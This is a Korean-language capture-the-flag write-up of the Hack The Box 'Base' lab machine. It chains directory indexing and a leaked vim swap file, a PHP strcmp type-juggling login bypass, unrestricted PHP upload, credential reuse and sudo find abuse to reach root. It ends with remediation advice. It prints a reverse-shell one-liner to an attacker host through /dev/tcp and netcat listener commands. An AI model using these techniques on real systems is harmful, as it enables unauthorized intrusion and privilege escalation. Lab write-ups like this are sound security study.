Post

(Hack The Box) Base Write up

(Hack The Box) Base Write up

Base Write up

image.png


정보수집

Port Scan

nmap을 통해 공격 머신에 포트스캔을 시도합니다. 22번과 80번 포트가 열려있네요 :)

22번 포트는 OpenSSH를 사용하고 있고, 80번 포트로 웹 어플리케이션을 서비스 중입니다.

image.png

Web Application 확인

Base라는 타이틀의 웹 서비스를 하고있으며, 네비게이션 바의 대부분 메뉴 버튼은 앵커링크로 되어 있었습니다. Login 버튼은 별도의 페이지로 이동되는 것을 확인할 수 있었습니다.

앵커링크(Anchor Link)란 웹페이지 내에서 특정 위치로 바로 이동할 수 있도록 설정된 하이퍼링크

image.png

Login 버튼을 누르면 로그인 페이지로 이동합니다. 경로는 /login/login.php 로 PHP로 개발된 것을 확인할 수 있었습니다.

image.png

취약점 진단 및 공격

Directory Indexing (디렉터리 인덱싱) 및 swp 파일 노출

http://{공격 대상 머신 IP}/login/ 으로 이동 시 디렉토리 인덱싱(Directory Indexing) 취약점이 발생한 것을 확인할 수 있습니다. root 디렉터리 외에 다른 디렉터리들의 파일들을 확인할 수 있습니다!

아래 경로에는 login.php.swp 이라는 파일을 확인할 수 있는데 swp 파일은 vi, vim 에디터에서 사용되는 임시파일입니다.

swp파일은 php 확장자가 아니라서 다운로드가 가능합니다.

swp 파일은 보통 Vim 또는 vi 편집기가 생성하는 스왑 파일(swap file)
이 파일은 사용자가 파일을 편집하는 도중 발생할 수 있는 데이터 손실을 방지하기 위해 만들어지는 임시 파일

image.png

login.php.swp파일을 다운로드 후 vim -r login.php.swp 명령어로 임시파일을 불러올 수 있습니다. 해당 파일은 login.php파일을 작업 중에 발생한 임시파일로 login.php의 일부 소스코드를 확인할 수 있습니다.

image.png

PHP type juggling

로그인페이지의 소스코드로 인증부분을 분석해봅시다. $username$_POST['username'] 와 같이 usernamepassword의 문자열들을 비교하여 로그인에 성공하면 세션을 부여하고 upload.php로 이동 시키는 형태입니다.

여기서 확인해야할 부분이 strcmp를 통해 변를 비교하며 == 를 사용한다는 것입니다. 이는 php type juggling이라는 취약점 발생할 가능성을 가지고 있습니다.

php type juggling이란
PHP에서 변수의 데이터 타입을 명시적으로 선언하지 않아도 상황에 따라 자동으로 타입을 변경하는 것을 juggling이라 함
==(느슨한 비교)로 인해 데이터 타입을 자동으로 변환하거나 비교하는 방식을 통해 발생하며, ===(엄격한 비교)를 통해 대응이 가능함 (PHP 자료형 비교표 참고)

strcmp()함수는 두 변수의 문자열을 비교하는 함수로 비교 후 반환하는 값은 아래와 같습니다.
strcmp($string1, $string2) 반환값 : string1이 string2보다 작으면 -1, string1이 string2보다 크면 1, 같다면 0을 반환합니다.

strcmp 함수의 반환 값들의 예시는 아래와 같습니다.

1
2
3
4
5
strcmp("5", 5) => 0
strcmp("15", 0xf) => 0
strcmp("foo", array()) => NULL + PHP Warning
strcmp("foo", new stdClass) => NULL + PHP Warning
strcmp(function(){}, "") => NULL + PHP Warning

strcmp 함수 외에 여러개 변수를 비교하고 NULL, 0, False, True 과 같은 다양한 값을 반환하는 함수는 모두 사용 시 유의해야합니다.

strcmp 함수의 리턴 값과 type juggling을 이용하여 인증을 우회할 수 있습니다.

$_POST['username'] 에 문자열이 아닌 배열 형태의 데이터를 입력할 수 있다면 if문을 우회할 수 있습니다.

if ( strcmp("username", Array()) == 0 ) { 우회 성공 } → 여기서 strcmp의 반환 값을 NULL이 됩니다.

if ( NULL == 0 ) { 우회 성공 } → strcmp의 반환 값을 적용한다면 조건문은 이처럼 됩니다.

여기서 == (느슨한 비교) 비교표를 확인해 봅시다.

image.png

NULL 과 0을 == 로 비교 시 TRUE를 반환하게 되어 조건문을 통과할 수 있습니다 🙂

===(엄격한 비교)를 사용하면 해당 조건문은 FALSE를 반화하여 우회할 수 없습니다 😟

image.png

여기서 우리는 usernamepassword를 비교하는 2개의 조건문을 우회해야하기 때문에 아래처럼 공격이 가능합니다.
HTTP 파라미터 이름을 변경합니다. username → username[] 이처럼 변경한다면 PHP는 이를 배열로 판단하게 되어 우회가 가능합니다.

image.png

Arbitrary File Upload(임의의 파일 업로드)

인증 우회에 성공하여 파일 업로드 페이지에 접근할 수 있게 되었습니다. 이제 PHP 파일을 업로드할 수 있는지 테스트해보겠습니다.

image.png

echo "<?php phpinfo(); ?>" > test.php 로 php 정보를 출력하는 함수를 실행하는 test.php를 생성 후 업로드를 시도해봅니다.

image.png

또는 임의의 파일을 업로드한 후 Burp Suite를 사용하여 패킷을 수정해 업로드할 수도 있습니다. 아래와 같이 업로드 성공 메시지를 확인할 수 있습니다.
파일 업로드 시 확장자나 Content-type에 대한 필터링이 없는 것을 확인했습니다. :)

image.png

파일 업로드는 성공했지만 파일이 어떠한 디렉터리 및 경로에 업로드된지 알 수 없기에 gobuster를 이용해서 관련 디렉터리가 있는지 확인합니다.

gobuster dir -u "http://{공격 대상 머신 IP}/" -w /usr/share/wordlists/dirb/big.txt

_uploaded 라는 의심스러운 디렉터리를 찾을 수 있습니다.

image.png

http://{공격 대상 머신 IP}/_uploaded/ 로 이동하여 해당 경로에서 업로드된 test.php 파일을 확인할 수 있습니다.

이를 통해 upload.php를 통해 업로드한 파일은 _uploaded 디렉터리에 저장된다는 사실을 알 수 있습니다.

image.png

test.php로 이동하여 phpinfo() 함수가 실행되는지 확인합니다. 업로드한 PHP 소스코드가 실행되는 것을 확인하였습니다.

image.png

웹쉘이나 리버스쉘에 필요한 함수가 비활성화되어 있는지 확인해봅시다.

disable_functions에 명령어 실행관련 함수가 설정되어 있다면 웹쉘이나 리버스쉘에 어려움이 있을 수 있습니다.

open_basedir 설정은 PHP 스크립트가 접근할 수 있는 디렉토리 경로를 제한하는 설정입니다. 예를 들어 /var/www/html 가 설정되어 있다면, php환경에서 LFI(Local File Inclusion)취약점을 통해 /etc/passwd와 같은 파일들을 접근할 수 없습니다.

image.png

Reverse Shell

다행히 웹쉘 및 리버스쉘에 걸림돌이 될만한 설정은 보이지 않습니다.

리버스쉘을 작성하여 파일을 업로드 합니다.

image.png

revshell.php 로 업로드 후 잘 업로드 되었는지 확인합니다. 그리고 nc -lvnp 443으로 공격자 머신에서 리버스쉘을 대기 후 revshell.php를 실행시킵니다.

image.png

revshell.php을 통해 성공적으로 쉘을 획득할 수 있었습니다. 웹서버 권한으로 쉘을 얻었으며 여기서 추가적인 정보 수집을 통해 사용자 권한을 획득해야합니다.

image.png

사용자 권한 획득

/etc/passwd 파일을 확인하여 사용자를 확인합니다.

image.png

john이라는 사용자가 있는 것을 확인했습니다. 그리고 john의 패스워드로 추측이 가능한 패스워드를 찾습니다.

login.php의 소스코드를 기반으로 username과 password가 config.php에 정의되어 있단 걸 확인 후 config.php파일을 확인해봅시다. 아래 처럼 패스워드를 확인할 수 있습니다.

image.png

해당 패스워드를 통해 john으로 로그인을 시도하여 john 사용자 권한의 쉘을 획득할 수 있었습니다.

image.png

권한 상승

권한 상승을 위해 sudo -l 명령어를 통해 john 사용자로 sudo 명령어가 허용되어 있는지 확인합니다.

sudo -l은 리눅스/유닉스 시스템에서 현재 사용자가 실행할 수 있는 sudo 명령의 권한과 관련된 정보를 보여주는 명령어
이를 통해 사용자는 특정 명령을 관리자 권한으로 실행할 수 있는지 확인이 가능
사용자가 sudo 명령을 사용할 수 있는지, 그리고 어떤 명령에 대해 권한이 있는지 확인.
예를 들어, 특정 파일이나 명령에 대해 관리자 권한이 허용되었는지 볼 수 있음.

sudo -l 명령어 결과에 root 사용자와 root 그룹의 권한으로 /usr/bin/find 명령어가 사용가능하다는 것을 확인할 수 있습니다.

image.png

sudo /usr/bin/find 명령어를 사용하면 root권한으로 명령어 사용이 가능합니다.

여기서 우리는 root 권한으로 명령어를 실행하는 것이 목적이기 때문에 명령어 실행방법을 찾아야합니다.

find의 옵션 중 -exec 옵션이 존재합니다.

-exec 옵션은 find를 통해 특정 파일이나 디렉터리를 찾고, 그 결과에 대해서 명령어를 실행할 수 있는 옵션입니다. 자동화된 작업이나 특정 조건에 맞는 파일에 대해서 일괄 처리를 할 수 있습니다.

예를 들면 find ./ -name "*" -exec ls -al {} \; 명령어를 실행할 경우, 현재 경로에서 모든 파일과 디렉터리를 검색 후 해당 파일/디렉터리 명으로 ls -al 를 실행합니다. {}에는 검색 결과가 하나씩 적용되게 됩니다. \;-exec의 옵션 값의 끝(end)을 명시해줍니다.

명령어 예시 : find <경로> <조건> -exec <명령어> {} \;

우린 하나의 명령어만 실행하면 되기 때문에 검색 결과가 하나가 되도록 하나의 파일을 검색합니다.

그리고 -exec 옵션을 이용해 id 명령어를 테스트해봅니다.

id 명령어가 root 권한으로 실행되는 것을 확인할 수 있었습니다.

image.png

-exec 로 실행한 명령어는 모두 root권한으로 실행되기 때문에, root 권한으로 리버스쉘을 연결합니다.

sudo find user.txt -exec sh -i >& /dev/tcp/{공격자 머신 IP}/{Port} 0>&1 \;

image.png

공격자 머신에서 444포트로 리버스쉘이 연결되는 것을 확인할 수 있었습니다.

id를 통해 현재 쉘이 root권한인지 확인할 수 있습니다.

image.png

:)

대응방안

취약점의 대응방안을 간략하게 적어보았습니다.

  • 디렉터리 인덱싱

    httpd.conf 또는 apache2.conf 설정파일에서 아래 처럼 Options -Indexes로 설정

    1
    2
    3
    
      <Directory /var/www/html>
      	Options -Indexes
      </Directory>
    
  • swp(스왑)파일 비활성화

    스왑 파일은 Vim의 설정 파일인 .vimrc 또는 전역 설정 파일 /etc/vim/vimrc에서 아래 구문을 추가하여 비활성화 set noswapfile

  • php type juggling

    조건문 사용 시 각 변수나 함수의 값을 예측하여 ===(엄격한 비교)를 사용하여 적절하게 조건문을 만들어야함

  • 임의 파일 업로드

    파일 업로드 시 Content-Type, 파일의 확장자 및 파일 시그니처를 검증하여 화이트리스트 형태로 필터링이 필요

  • 아이디 패스워드 평문 저장

    중요정보인 아이디/패스워드를 파일에 평문으로 저장하지 않고 Database를 통해 암호화하여 저장 후 비교하여 사용

  • sudo -l

    sudoers 파일 수정 하여 불필요한 권한 제거

참조

https://www.php.net/manual/en/language.operators.comparison.php

https://www.php.net/manual/en/function.strcmp.php

This post is licensed under CC BY 4.0 by the author.